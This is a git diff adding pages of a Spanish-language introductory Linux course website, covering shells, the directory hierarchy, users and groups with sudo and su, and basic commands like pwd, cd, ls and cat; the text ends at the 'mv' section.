    Shell es la interfaz o programa que interpreta las líneas de comandos (donde se ingresan datos y comandos) enviadas +por la terminal. Funciona procesando los comandos e interpretando los resultados, es decir, toma comandos escritos +a mano y le transmite al sistema operativo que estos deben ser ejecutados. También, toma secuencia de comandos con el fin de interpretar la lógica entre ellos. Su función principal es la de iniciar otros programas.

    + +

    Por defecto, Kali Linux siempre ha usado “bash” (también conocido como “Bourne-Again SHell”) como shell predeterminado, cuando abres una terminal o consola.

    + +

    En este curso veremos y trabajaremos con las dos shells más utilizadas en Linux que son Bash y ZSH.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_4.1_directorios_principales.html b/Web/cursolinux_4.1_directorios_principales.html new file mode 100644 index 00000000000..6cc1be1aee6 --- /dev/null +++ b/Web/cursolinux_4.1_directorios_principales.html @@ -0,0 +1,650 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Directorios
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • ¿Qué es un Directorio?
  • +
  • Estructura de Directorios en Linux
  • +
  • Directorio Raíz (/)
  • +
  • Tipos de Directorio en Linux:
  • + + +
  • Directorios Principales:
  • + + + +

    +

    ¿Qué es un Directorio?

    + +

    En informática, un directorio o carpeta es un contenedor virtual en el que se almacenan una agrupación + de archivos informáticos y otros subdirectorios, atendiendo a su contenido, a su propósito o a cualquier criterio que decida el usuario.

    + +

    En Linux los directorios siguen siendo las carpetas de toda la vida, pero en este curso trataremos únicamente la gestión de directorios a través + de la terminal, ya que nuestra finalidad es poder gestionar cualquier cosa a través de líneas de comandos.

    + +

    +

    Estructura de Directorios en Linux

    + +

    El estándar de jerarquía del sistema de archivos, también conocido como FHS (Filesystem Hierarchy Standard), es la norma creada por la + comunidad que define los directorios y el contenido de los directorios en los sistemas operativos GNU/Linux y Unix.

    + +

    GNU-Linux dispone de un sistema de directorios completamente estructurado, coherente y estandarizado, obteniendo así las siguientes ventajas:

    + +
      +
    • El software que tenemos instalado en nuestro ordenador sabe en todo momento las carpetas y los permisos de las carpetas de nuestro ordenador. Por + lo tanto, nuestro software en todo momento sabe donde encontrar y almacenar la información que necesita para su funcionamiento.
    • +
    • Los usuarios saben en todo momento el contenido que hay en cada una de las carpetas del ordenador.
    • +
    • Ayuda a la hora de realizar el mantenimiento de un sistema operativo.
    • +
    • Ayuda a otorgar los permisos pertinentes a cada uno de los archivos de nuestro sistema operativo.
    • +
    + +

    El estándar de jerarquía del sistema de archivos es flexible y existe cierta libertad a la hora de aplicar las normas. De hecho, ciertas distribuciones + GNU-Linux introducen modificaciones a la estructura de directorios estándar para adaptarla a sus necesidades.

    + +

    +

    Directorio Raíz (/)

    + +

    El directorio raíz, simbolizado por el símbolo (/), es el directorio principal a partir del cual se ramifican todo el resto de directorios.

    + +

    Por lo tanto, podemos decir que el directorio raíz es el contenedor de nuestro sistema operativo, ya que de él nacen el resto de directorios que + tendrá nuestro sistema operativo.

    + +

    Captura de pantalla -2022-09-13 23-46-29

    + +

    Como todos los demás directorios o archivos descienden de la raíz, la ruta absoluta de cualquier archivo pasa por la raíz. Por ejemplo, si tienes + un archivo en /home/user/documents, puedes adivinar que la estructura de directorios va desde root->home->user->documents.

    + +

    +

    Tipos de Directorio en Linux:

    + +

    En GNU-Linux existen distintos tipos de directorios. Los distintos tipos de directorios existentes según su uso son los siguientes:

    + +

    +

    Directorios Compartibles

    + +

    Los directorios compartidos son aquellos directorios que se pueden acceder desde distintos equipos. Por lo tanto, los directorios compartibles son + aquellos que contienen archivos que se pueden usar desde otros equipos.

    + +

    Algunos ejemplos de directorios compartibles son:

    + +

    /var/mail, /opt, /home, /var/www/html, /usr, etc.

    + +

    +

    Directorios No Compartibles

    + +

    Al contrario que los directorios compartibles, los directorios no compartibles son aquellos directorios que no se pueden compartir y su acceso y + modificación están limitados al administrador del sistema. Por lo tanto, los directorios no compartibles contienen archivos que solo puedes ser + accesibles y modificados por el administrador del sistema.

    + +

    Algunos ejemplos de directorios no compartibles son:

    + +

    /etc, /boot, /var/run, etc.

    + +

    +

    Directorios Variables

    + +

    Son aquellos directorios que contienen archivos que pueden ser modificados y pueden variar su contenido sin la intervención del administrador del + sistema.

    + +

    Algunos ejemplos de directorios variables son:

    + +

    /var/log/messages, /var/mail, /var/spool/news, /home, /var/run, etc.

    + +

    +

    Directorios Estáticos

    + +

    Son aquellos directorios que contienen archivos que solo pueden ser modificados con la intervención del administrador del sistema.

    + +

    Algunos ejemplos de directorios estáticos son:

    + +

    /etc/password, /etc/shadow, /usr, /opt, /etc, /boot, /bin, /sbin, etc.

    + +

    +

    Directorios Principales

    + +

    Ahora vamos a ver los directorios principales y sus funciones principales. Estos directorios parten de la raíz (/) y cada uno tiene una función + predefinida.

    + +

    En la siguiente imagen podemos ver un breve resumen de cada uno de los directorios principales y sus funciones:

    + +

    Captura de pantalla -2022-09-14 00-14-18

    + +

    +

    Directorio /bin

    + +

    El directorio /bin es un directorio estático y compartible en el que se almacenan archivos binarios/ejecutables necesarios para el funcionamiento + del sistema. Estos archivos binarios los pueden usar la totalidad de usuarios del sistema operativo.

    + +

    Algunos de los archivos ejecutables almacenados en el directorio /bin son cp, echo, tar, cat, mv, rm, ping, cp, gzip, + kill, ls, ping, su, etc. Estos archivos son los que nos permiten realizar la gran mayoría de utilidades básicas a través de la terminal + Linux.

    + +

    El directorio /bin en ningún caso podrá contener subdirectorios.

    + +

    +

    Directorio /boot

    + +

    Es un directorio estático no compartible que contiene la totalidad de archivos necesarios para el arranque del ordenador excepto los archivos de + configuración. Algunos de los archivos indispensables para el arranque del sistema que acostumbra a almacenar el directorio /boot son el kernel y + el gestor de arranque Grub.

    + +

    La totalidad de contenido almacenado en el directorio /boot es el que se utiliza antes de que el Kernel de comience a ejecutar programas en modo + usuario.

    + +

    El directorio /boot puede estar ubicado en su propia partición (partición /boot).

    + +

    +

    Directorio /dev

    + +

    El sistema operativo Gnu-Linux trata los dispositivos de hardware como si fueran un archivo. Estos archivos que representan nuestros dispositivos de + hardware se hallan almacenados en el directorio /dev.

    + +

    Cada vez que nosotros accedemos o usamos un dispositivo de hardware, como puede ser una memoria USB, una impresora, un disco duro externo, un ratón, etc, + accedemos al hardware del dispositivo leyendo y escribiendo en el fichero correspondiente ubicado en el directorio /dev.

    + +

    Algunos de los archivos básicos que podemos encontrar en este directorio son:

    + +
      +
    • cdrom: Representa nuestro dispositivo de CDROM.
    • +
    • sda: Representa nuestro disco duro sata.
    • +
    • audio: Representa nuestra tarjeta de sonido.
    • +
    • psaux: Representa el puerto PS/2.
    • +
    • lpx: Representa nuestra impresora.
    • +
    • fd0: Representa nuestra disquetera.
    • +
    + +

    +

    Directorio /etc

    + +

    El directorio /etc es un directorio estático que contiene los archivos de configuración del sistema operativo. Este directorio también contiene + archivos de configuración para controlar el funcionamiento de diversos programas.

    + +

    Algunos de los archivos de configuración de la carpeta /etc pueden ser sustituidos o complementados por archivos de configuración ubicados en nuestra + carpeta personal /home.

    + +

    Este directorio solamente contiene archivos de texto y subdirectorios. Estos subdirectorios también contendrán archivos de configuración para configurar + partes de nuestro sistema como por ejemplo:

    + +
      +
    • /etc/apt: Carpeta que contiene ficheros de configuración del gestor de paquetes apt.
    • +
    • /etc/opt: Carpeta que contiene los ficheros de configuración para los programas alojados en la carpeta /opt. Algunos programas alojados en esta + carpeta pueden ser Spotify, Google-earth, Google Chrome, Teamviewer, etc.
    • +
    • /etc/profile: Carpeta que contiene parámetros de configuración de los usuarios para inicializar la shell o interprete de comandos “terminal”
    • +
    • /etc/sgml: Carpeta que contiene los ficheros de configuración para SGML. SGML es un lenguaje que se utiliza para la organización y marcado de + documentos.
    • +
    • /etc/X11: Ficheros para la configuración del sistema X Window etc.
    • +
    + +

    +

    Directorio /home

    + +

    El directorio /home se trata de un directorio variable y compartible. Este directorio está destinado a alojar la totalidad de archivos personales + de los distintos usuarios del sistema operativo a excepción del usuario root. Algunos de los archivos personales almacenados en la carpeta /home + son fotografías, documentos de ofimática, vídeos, etc.

    + +

    Esta carpeta también contiene los ficheros de configuración de los programas que utilizan cada uno de los usuarios del sistema operativo a + excepción del usuario root.

    + +

    Todos los archivos personales y archivos de configuración que acabamos de mencionar se almacenan en subdirectorios dentro de la carpeta /home. Así + por ejemplo si en nuestro ordenador tenemos 2 usuarios (usuario1 y usuario2) los archivos personales y de configuración del usuario 1 se almacenarán en + la ubicación:

    + +
    /home/usuario1
    +  
    + +

    Por otro lado los archivos personales y de configuración del usuario 2 se almacenarán en la carpeta:

    + +
    /home/usuario2
    +  
    + +

    De esta forma los archivos personales y de configuración quedan perfectamente clasificados por usuario.

    + +

    Normalmente el directorio /home reside un una partición propia, ya que de este modo podremos reinstalar nuestro sistema operativo sin perder nuestros + datos personales y manteniendo la configuración antigua.

    + +

    Dentro del directorio /home encontraremos los directorios principales del usuario: Descargas, Desktop, Imágenes, Música, etc.

    + +

    +

    Directorio /lib

    + +

    El directorio /lib es un directorio estático y que puede ser compartible. Este directorio contiene bibliotecas compartidas que son necesarias para + arrancar los ejecutables que se almacenan en los directorios /bin y /sbin.

    + +

    Este directorio también contiene módulos del kernel y controladores de drivers que son necesarios durante el inicio del sistema y durante el + funcionamiento del sistema operativo.

    + +

    +

    Directorio /mnt

    + +

    El directorio /mnt tiene la finalidad de albergar los puntos de montaje de los distintos dispositivos de almacenamiento como por ejemplo discos + duros externos, particiones de unidades externas, etc.

    + +

    Los medios montados en esta carpeta pueden ser tanto estáticos como variables y por norma general son compartibles.

    + +

    +

    Directorio /media

    + +

    La función del directorio /media es similar a la del directorio /mnt. Este directorio contiene los puntos de montaje de los medios extraíbles de + almacenamiento como por ejemplo memorias USB, lectores de CD-ROM, unidades de disquete, etc.

    + +

    En el directorio /media también podemos montar sin ningun tipo de problema medios que montaríamos en el directorio ``/mnt`.

    + +

    +

    Directorio /opt

    + +

    El contenido almacenado en el directorio /opt es estático y compartible. La función de este directorio es almacenar programas que no vienen con + nuestro sistema operativo como por ejemplo Spotify, Google-earth, Google Chrome, Teamviewer, etc.

    + +

    Como es un directorio compartible los programas presentes en esta carpeta pueden ser usados por todos los usuarios del sistema operativo.

    + +

    La función de este directorio es muy similar a la del directorio /usr/local, pero a diferencia de la carpeta /usr/local en /opt se instalan + programas que no siguen los estándares para almacenar su contenido en la carpeta /usr.

    + +

    +

    Directorio /proc

    + +

    El directorio /proc se trata de un sistema de archivos virtual. Este sistema de archivos virtual nos proporciona información acerca de los + distintos procesos y aplicaciones que se están ejecutando en nuestro sistema operativo.

    + +

    Para cada uno de los procesos en marcha existe un subdirectorio dentro de la carpeta /proc. Dentro del subdirectorio es donde se almacena esta + información.

    + +

    Como curiosidad decir que la totalidad del contenido almacenado en la carpeta /proc no está almacenado en nuestro disco duro. El contenido de este + directorio está almacenado en la memoria RAM y el mismo sistema operativo es quien crea y borra el contenido de la carpeta /proc.

    + +

    +

    Directorio /root

    + +

    El directorio /root se trata de un directorio variable no compartible. El directorio /root es el directorio /home del administrador del sistema + (usuario root).

    + +

    +

    Directorio /sbin

    + +

    El directorio /sbin se trata de un directorio estático y compartible. Su función es similar al directorio /bin, pero a diferencia del directorio + /bin, el directorio /sbin almacena archivos binarios/ejecutables que solo puede ejecutar el usuario root o administrador del sistema.

    + +

    Los archivos incluidos en el directorio /sbin son aquellos que son primordiales para el arranque, restauración y reparación del sistema operativo. + Algunos de los archivos ejecutables almacenados en este directorio son fsck, init, reboot, shutdown, fastboot, etc.

    + +

    Otros directorios que contienen programas y binarios para la administración del sistema son el /usr/bin y el /usr/local/sbin.

    + +

    +

    Directorio /srv

    + +

    El directorio /srv se usa para almacenar directorios y datos que usan ciertos servidores que podamos tener instalados en nuestro ordenador.

    + +

    Algunos de los servidores que almacenan datos en el directorio /srv son:

    + +
      +
    • Servidor web apache en el directorio /srv/www.
    • +
    • Cualquier servidor ftp en la ubicación /srv/ftp.
    • +
    • Un servidor CVS.
    • +
    • Etc.
    • +
    + +

    +

    Directorio /tmp

    + +

    El directorio /tmp es es donde se crean y se almacenan los archivos temporales y las variables que los programas puedan funcionar de forma adecuada.

    + +

    Generalmente los sistemas operativos vacían el directorio /tmp cada vez que reiniciamos el ordenador. En el caso que no sea así es recomendable + vaciar cada cierto el contenido de esta carpeta.

    + +

    +

    Directorio /usr

    + +

    El directorio /usr es un directorio compartido y estático. Este directorio es el que contiene la gran mayoría de programas instalados en nuestro + sistema operativo.

    + +

    Todo el contenido almacenado en la carpeta /usr es accesible para todos los usuarios y su contenido es solo de lectura.

    + +

    El directorio /usr contiene una serie de subdirectorios que acostumbran a almacenar la siguiente información:

    + +
      +
    • +

      /usr/bin: Subdirectorio que almacena los archivos ejecutables del software que tenemos almacenado en nuestro ordenador.

      +
    • +
    • +

      /usr/include: Subdirectorio que incluye la totalidad de archivos de cabecera que necesita el software instalado en nuestro sistema operativo para + que funcione de forma adecuada.

      +
    • +
    • +

      /usr/lib: Subdirectorio que incluye bibliotecas compartidas y ficheros binarios que únicamente pueden ser ejecutados por el administrador del + sistema.

      +
    • +
    • +

      /usr/local: GNU-Linux es un sistema operativo diseñado para ser usado en entornos de red. Por lo tanto es posible que el directorio /usr no esté + instalado localmente en nuestro y esté en un servidor. En estos casos existe el directorio /usr/local que está destinado a alojar los + programas que instala localmente el administrador del sistema. Este directorio está protegido de las actualizaciones automáticas de + todo el sistema operativo y tiene una estructura de directorios muy similar a la del directorio /usr.

      +
    • +
    • +

      /usr/sbin: Directorio que contiene archivos binarios para la administración del nuestro equipo no esenciales para el proceso de arranque ni para + reparar el ordenador. Estos archivos binarios almacenados en la carpeta /usr/sbin solamente pueden ser usados por el administrador del + sistema. Algunos de estos archivos binarios no críticos para administrar el sistema operativo pueden ser por ejemplo varios demonios + para diversos servicios de red, xcalib para calibrar el color de nuestro monitores, etc.

      +
    • +
    • +

      /usr/share: En el directorio /usr/share encontramos archivos de texto compartibles que son independientes de la arquitectura del sistema operativo. + En este directorio podemos encontrar por ejemplo los archivos de ayuda como por ejemplo los documentos info y las páginas de man, + ficheros de configuración, imágenes, iconos, themes, etc.

      +
    • +
    • +

      /usr/src: En el directorio /usr/src normalmente encontramos el código fuente de algunas aplicaciones y del kernel que tenemos instalado en nuestro + sistema operativo.

      +
    • +
    + +

    +

    Directorio /var

    + +

    El directorio /var contiene archivos de datos variables y temporales como por ejemplo los registros del sistema (logs), los registros de programas que + tenemos instalados en el sistema operativo, archivos spool, etc.

    + +

    La principal función del directorio /var es la detectar problemas y solucionarlos. Se recomienda ubicar el directorio /var en una partición + propia, y en caso de no ser posible es recomendable ubicarlo fuera de la partición raíz.

    + +

    Algunos de los subdirectorios importantes que están dentro de la carpeta /var son los siguientes:

    + +
      +
    • +

      /var/cache: Subdirectorio pensado para almacenar datos de aplicaciones en modo cache. Un ejemplo de lo que acabo de citar es apt-get. En el momento + de instalar una aplicación con apt-get se almacena una copia del paquete binario instalado en la ubicación /var/cache/apt/archives/. + Así en el caso que desinstalaramos el programa y quisiéramos volver instalarlo no seria necesario descargar el fichero binario de nuevo + y la instalación seria inmediata.

      +
    • +
    • +

      /var/lib: En este subdirectorio encontramos información sobre el estado de las aplicaciones. Este directorio también contiene bases de datos del + sistema.

      +
    • +
    • +

      /var/lock: Directorio en el que se hallan los archivos de bloqueo que crean ciertos programas. La función de los archivos de bloqueo creados por + algunos programas, como por ejemplo un servidor web, es evitar que ciertos recursos sean usados por otros programas que no sean el + propio servidor web. En el momento de cerrar la aplicación que ha generado el archivo de bloqueo, el archivo de bloqueo desaparece.

      +
    • +
    • +

      /var/log: En el directorio /var/log se encuentran de forma clasificada gran parte de los registros de nuestros programas y del sistema + operativo. + Este directorio es muy importante ya que en caso de problemas, el administrador del sistema lo puede consultar para intentar averiguar la + causa del problema. Los log o registros se encuentran perfectamente clasificados, así por lo tanto si queremos consultar los registros + generados por el kernel tendremos que consultar el archivo /var/log/messages, si queremos consultar los accesos a nuestro sistema + operativo podemos consultar el archivo /var/log/wtmp, etc.

      +
    • +
    • +

      /var/mail: Directorio en el que se ubican los archivos de correo electrónico de cada uno de los usuarios del servidor de mail. También es posible + ubicar nuestros archivos de correo electrónico en la partición /home.

      +
    • +
    • +

      /var/opt: En el directorio /var/opt se almacenan datos variables que utilizan los programas instalados en la ubicación /opt.

      +
    • +
    • +

      /var/run: El directorio /var/run contiene información de la sesión que estamos ejecutando. Ejemplos de la información que contienen los archivos + de esta carpeta son los demonios que están en ejecución, los usuarios que están logueados, los procesos que están activos, etc.

      +
    • +
    • +

      /var/spool: Directorio que almacena archivos que controlan la tareas pendientes de realizar. Así por ejemplo en el directorio /var/spool/cups + encontraremos los archivos que gestionan los trabajos de impresión en espera, en el directorio /var/spool/cron encontraremos los + archivos que gestionan las tareas planificadas pendientes de ejecutar, etc.

      +
    • +
    • +

      /var/tmp: Directorio que al igual que el directorio /tmp contiene archivos temporales. La principal diferencia entre los directorios /var/tmp y + /tmp es que los archivos temporales ubicados en la carpeta /tmp se acostumbran a borrar automáticamente entre sesiones o reinicios + del sistema, mientras que los archivos temporales ubicados en el directorio /var/tmp no lo hacen.

      +
    • +
    + +

    +

    Directorio /sys

    + +

    Directorio que contiene información similar a la del directorio /proc. Dentro de esta carpeta podemos encontrar información estructurada y + jerárquica acerca del kernel de nuestro equipo, de nuestras particiones y sistemas de archivo, de nuestros drivers, etc.

    + +

    +

    Directorio /lost+found

    + +

    Directorio que se crea en las particiones de disco con un sistema de archivos ext después ejecutar herramientas para restaurar y recuperar el sistema + operativo como por ejemplo fsch.

    + +

    Si nuestro sistema no ha presentado problemas este directorio estará completamente vacío. En el caso que hayan habido problemas este directorio + contendrá ficheros y directorios que han sido recuperados tras la caída del sistema operativo.

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_4_usuarios_y_grupos.html b/Web/cursolinux_4_usuarios_y_grupos.html new file mode 100644 index 00000000000..a29fbc594dd --- /dev/null +++ b/Web/cursolinux_4_usuarios_y_grupos.html @@ -0,0 +1,335 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Usuarios y Grupos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • Usuarios en Linux.
  • +
  • Tipos de Usuarios.
  • +
  • Superusuario o root.
  • +
  • Gestión de Grupos.
  • +
  • Comandos para la gestión de usuarios y grupos en Linux.
  • + +

    Gestión de Usuarios y Grupos en Linux.

    + +

    El sistema operativo Linux cuenta con un gran capacidad de gestión de usuarios y grupos que le permite realizar un uso óptimo +de su plataforma multiusuario.

    + +

    Quienes utilizan este servidor se identifican mediante un nombre de usuario, y también debe contar con una contraseña para que pueda +realizar la verificación de credenciales y acceder al sistema.

    + +

    Además, el acceso a determinados archivos, directorios y ficheros dependerá de los grupos a los que pertenezca el usuario del sistema.

    + +

    +

    Usuarios en Linux.

    + +

    Los usuarios son una de las piezas claves en cualquier sistema Linux ya que con ellos iniciamos sesión y podremos realizar tareas +en base a los permisos que han sido asignados (administración, lectura, escritura) y en base a ello estos usuarios tendrán cierta autoridad +en el sistema.

    + +

    +

    Tipos de Usuarios.

    + +

    En los sistemas que toman por base la interfaz GNU/Linux o Unix existen dos tipos de usuarios: el administrador o root, y los demás usuarios:

    + +
      +
    • +

      Usuario administrador o root: El usuario root tiene la posibilidad de realizar todo tipo de labores respecto a la administración del sistema.

      +
    • +
    • +

      Usuario Normal: Los usuarios normales o no administradores, son aquellos que pueden utilizar las herramientas del sistema con normalidad, pero que no pueden ejecutar labores administrativas. Son aquellos con los que realizamos las tareas más comunes.

      +
    • +
    + +

    Cuando ingresamos a un sistema Linux lo hacemos con un usurio normal y su contraseña, con este usuario es con el que trabajaremos normalmente, pero cuando +nos sea necesario realizar algún cambio en el sistema, como por ejemplo instalar un programa nuevo, lo tendremos que hacer a traves de un usuario +Administrador o root.

    + +

    Podemos realizar estos cambios del sistema de dos formas:

    + +
    • La primera opción es convertirse en root, para ello utilizando el siguiente comando y proporcionando nuestra contraseña, nuestro usuario pasará +a ser root y por tanto tendrá los máximos privilegios del sistema.

    + + +
    sudo su
    + + +
    • La segunda opción es ejecutar la acción como superusurio, pero sin dejar de ser un Usuario normal. Para ello, +simplemente ejecutamos el comando sudo delante del comando que vamos a ejecutar como superusuario.

    + +
    whoami
    +
    sudo whoami
    + +

    Como veis whoami nos reporta nuestro Usurio actual, en este caso el usurio normal, pero al utilizar el comando sudo, podemos ver +como nos devuelve el resultado root cuando aún estamos como el Usuario normal. Esto se debe a que hemos ejecutado el comando whoami como +root pero sin tener que cambiar de usuario.

    + +

    En las dos situaciones el sistema nos pedira una contraseña para confirmar que tenemos acceso.

    + +

    Si estamos como root y queremos volver a convertirnos en un usuario normal, utilizaremos el comando su seguido del nombre del usuario.

    + +
    su [Nombre_del_Usuario]
    + + +

    +

    Superusuario o root:

    + +

    Ser root en el sistema es como ser dios, nos permirita realizar cualquier tipo de cambio a nivel de sistema y por tanto, debemos de tener cuidado +con su uso. Es recomendable volver al usuario normal tras terminal las tareas realizadas como root al igual que establecer una contraseña segura.

    + +

    Como veís, para poder realizar el cambio de usuario normal a usuario root, se necesitarán permisos de administración, y se puede acceder ya sea proporcionando la contraseña del usuario root e iniciando sesión, o establecer una lista de usuarios que pueden tener acceso como administradores.

    + +

    En términos de seguridad, es recomendable optar por establecer una lista de usuarios con permisos, debido a que compartir la contraseña del usuario +root con varias personas, implica el traspaso de información sensible y pone al sistema en una situación de vulnerabilidad.

    + +

    +

    Gestión de Grupos:

    + +

    Los grupos en Linux son usados principalmente para otorgar permisos sobre archivos y directorios. El sistema operativo ya trae incluido ciertos grupos predeterminados que cumplen con funciones específicas. Cada grupo creado en Linux tiene la característica de ser independiente de otros. Además, los grupos en Linux pueden tener contraseñas. Estos grupos pueden ser de tipo primario o secundario:

    + +
      +
    • +

      Grupo principal: Tiene la función de determinar quién será el grupo que posea los archivos creados por el usuario. El grupo primario es el que se le asocia a la cuenta por defecto, y al que se le asignarán los archivos y directorios desarrollados por el usuario. Además, el nombre del grupo suele ser el mismo nombre de usuario.

      +
    • +
    • +

      Grupos secundarios: Los grupos suplementarios son aquellos grupos adicionales a los que el usuario pertenezca.

      +
    • +
    + +

    +

    Comandos para la gestión de usuarios y grupos en Linux:

    + +

    Estos son los comandos para gestiónar los usuaior y los grupos a traves de la terminal de Linux. Más adelante veremos como trabajar con la terminal + y como utilizar cada uno de los siguientes comandos.

    + +
      +
    • adduser o useradd: Permite la creación de nuevos usuarios.
    • +
    • usermod, chfn, chsh y chage: Usados para la modificación de un usuario.
    • +
    • deluser o userdel: Comando para la eliminación de usuarios.
    • +
    • passwd: Para cambiar la contraseña de un usuario.
    • +
    • addgroup o groupadd: Usado para añadir un grupo.
    • +
    • groupmod: Permite modificar un grupo.
    • +
    • groupdel o delgroup: Se utiliza para eliminar un grupo.
    • +
    • gpasswd: Comando diseñado para cambiar la contraseña de un grupo.
    • +
    • whoami: Para saber qué usuario somos.
    • +
    • groups: Para obtener información de los grupos a los que pertenecemos.
    • +
    • id: Nos muestra tanto el usuario como los grupos.
    • +
    • su: Comando para cambiar de usuario.
    • +
    • who o w: Sirve para saber cuáles usuarios están conectados en la máquina en un determinado momento.
    • +
    • write o wall: Para enviar mensajes de al resto de usuarios logueados.
    • +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_5_comandos_basicos.html b/Web/cursolinux_5_comandos_basicos.html new file mode 100644 index 00000000000..729c2c8af4a --- /dev/null +++ b/Web/cursolinux_5_comandos_basicos.html @@ -0,0 +1,602 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Comandos Básicos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + +
  • Comandos Básicos de Linux.
  • +
  • ¿Qué es un Comando?
  • +
  • ¿Qué es un Comando de Linux?
  • + +

    +

    Comandos Básicos de Linux

    + +

    Al operar un sistema operativo Linux, como hemos visto anteriormente, debes usar un shell, una interfaz que te da acceso a los servicios del +sistema operativo. La mayoría de las distribuciones de Linux utilizan una interfaz gráfica de usuario (GUI) como shell, principalmente para +proporcionar facilidad de uso a sus usuarios.

    + +

    Con la siguiente lista de comandos básicos ya podrás desenvolverte y realizar las funciones básicas en un sistema Linux. Ahora veremos los + comandos básicos por encima, pero poco a poco durante el curso iremos practicando y profundizando en sus funciones. +

    + +

    +

    ¿Qué es un Comando?

    + +

    Un comando es una instrucción específica dada a una aplicación informática para realizar algún tipo de tarea o función.

    + +

    Los diferentes sistemas operativos como Windows, Linux, Android, o macOS disponen de una serie de comandos básicos para realizar operaciones +simples y directas, que se utilizan a través de una consola o intérprete de comandos.

    + +

    Los comandos no solo están disponibles en un sistema operativo, sino que también se utilizan en aplicaciones o programas. Cada software puede +disponer de sus propios comandos internos para realizar tareas específicas.

    + +

    +

    ¿Qué es un Comando de Linux?

    + +

    Un comando Linux es un programa o utilidad que se ejecuta en la línea de comandos. Una línea de comandos es una interfaz que acepta líneas de +texto y las procesa en forma de instrucciones para tu ordenador.

    + +

    Cualquier interfaz gráfica de usuario (GUI) no es más que una abstracción de los programas de línea de comandos. Por ejemplo, cuando cierras una +ventana haciendo clic en la «X», hay un comando que se ejecuta detrás de esa acción.

    + +

    Un flag es una forma de pasar opciones al comando que se ejecuta. La mayoría de los comandos de Linux tienen una página de ayuda que podemos +llamar con la flag -h. La mayoría de las veces, las flag son opcionales.

    + +
    [comando] -h
    +
    + +

    Puedes invocar flags utilizando guiones (-) y guiones dobles (--), mientras que la ejecución de los argumentos depende del orden en que los +pase a la función, esta sintaxis tambien la podemos ver en el modo ayuda o en el manual del comando.

    + +

    Para ver el manual de cualquier comando simplemtne utilizamos man seguido del comando del que queremos más información.

    + +
    man [comando]
    +
    + +

    Ejemplo:

    + +
    man whoami
    +
    + +

    +

    Lista de Comandos Principales

    + +

    +

    pwd

    +

    Usa el comando pwd para encontrar la ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta absoluta +(completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es +/home/nombredeusuario.

    + +

    En el siguiente ejemplo ejecutaremos el comando pwd desde el directorio principal y vemos como nos devuelve /home/firox, en vuestro + caso, reportará el usuario con el que esteis registrados:

    +

    Captura de pantalla_2022-09-09_10-32-54

    + +

    Captura de pantalla_2022-09-09_10-33-16

    + +Ahora vamos a realizar el mismo comando desde la raíz del sistema: +

    Captura de pantalla_2022-09-09_10-33-44

    + + +

    +

    cd

    +

    Para navegar por los archivos y directorios de Linux, usa el comando cd. Te pedirá la ruta completa o el nombre del directorio, dependiendo del +directorio de trabajo actual en el que te encuentres.

    + +

    Supongamos que estás en /home/nombredeusuario/Documentos y deseas ir a Fotos, un subdirectorio de Documentos. Para hacerlo, simplemente escribe el siguiente comando:

    + +
    cd Fotos
    +
    + +

    Otro escenario es si deseas ir a un directorio completamente nuevo, por ejemplo, /home/nombredeusuario/Peliculas. En este caso, debes escribir cd seguido de la ruta absoluta del directorio:

    + +
    cd /home/nombredeusuario/Peliculas
    +
    + +

    Hay algunos atajos para ayudarte a navegar rápidamente:

    + +

    cd .. : (Con dos puntos) Para ir un directorio hacia arriba.
    +cd : Para ir directamente a la carpeta de inicio.
    +cd- : (Con un guión) Para ir al directorio anterior.

    + +

    Como nota al margen, el shell de Linux distingue entre mayúsculas y minúsculas. Por lo tanto, debes escribir el nombre del directorio de forma exacta.

    + +

    +

    ls

    +

    El comando ls se usa para ver el contenido de un directorio. Por defecto, este comando mostrará el contenido de tu directorio de trabajo actual.

    + +

    Si deseas ver el contenido de otros directorios, escribe ls y luego la ruta del directorio. Por ejemplo, ingresa ls /home/nombredeusuario/Documentos +para ver el contenido de Documentos.

    + +

    Hay variaciones que puedes usar con el comando ls:

    + +

    ls -R : También listará todos los archivos en los subdirectorios.
    +ls -a : Mostrará los archivos ocultos.
    +ls -l : Listará los archivos y rirectorio con información detallada como los permisos, el tamaño, el propietario, etc.
    +ls -la : Listará los archivos y directorios, incluidos los ocultos, con información detallada como los permisos, el tamaño, el propietario, etc.

    + +

    +

    cat

    +

    Cat (abreviatura de concatenate, en inglés) es uno de los comandos más utilizados en Linux. Se utiliza para listar el contenido de un archivo en la +salida estándar (sdout). Para ejecutar este comando, escribe cat seguido del nombre del archivo y su extensión. Por ejemplo:

    + +
    cat archivo.txt.
    +
    + +

    Aquí hay otras formas de usar el comando cat:

    + +

    cat > nombredearchivo : Crea un nuevo archivo.
    +cat nombredearchivo1 nombredearchivo2>nombredearchivo3 : Une dos archivos (1 y 2) y almacena la salida de ellos en un nuevo archivo (3).
    +cat nombredearchivo | tr a-z A-Z> salida.txt : Convertir un archivo a mayúsculas o minúsculas.

    + +

    +

    cp

    +

    Usa el comando cp para copiar archivos del directorio actual a un directorio diferente. Por ejemplo, el comando cp escenario.jpg +/home/nombredeusuario/Imagenes crearía una copia de escenario.jpg (desde tu directorio actual) en el directorio de Imagenes.

    + +

    +

    mv

    +

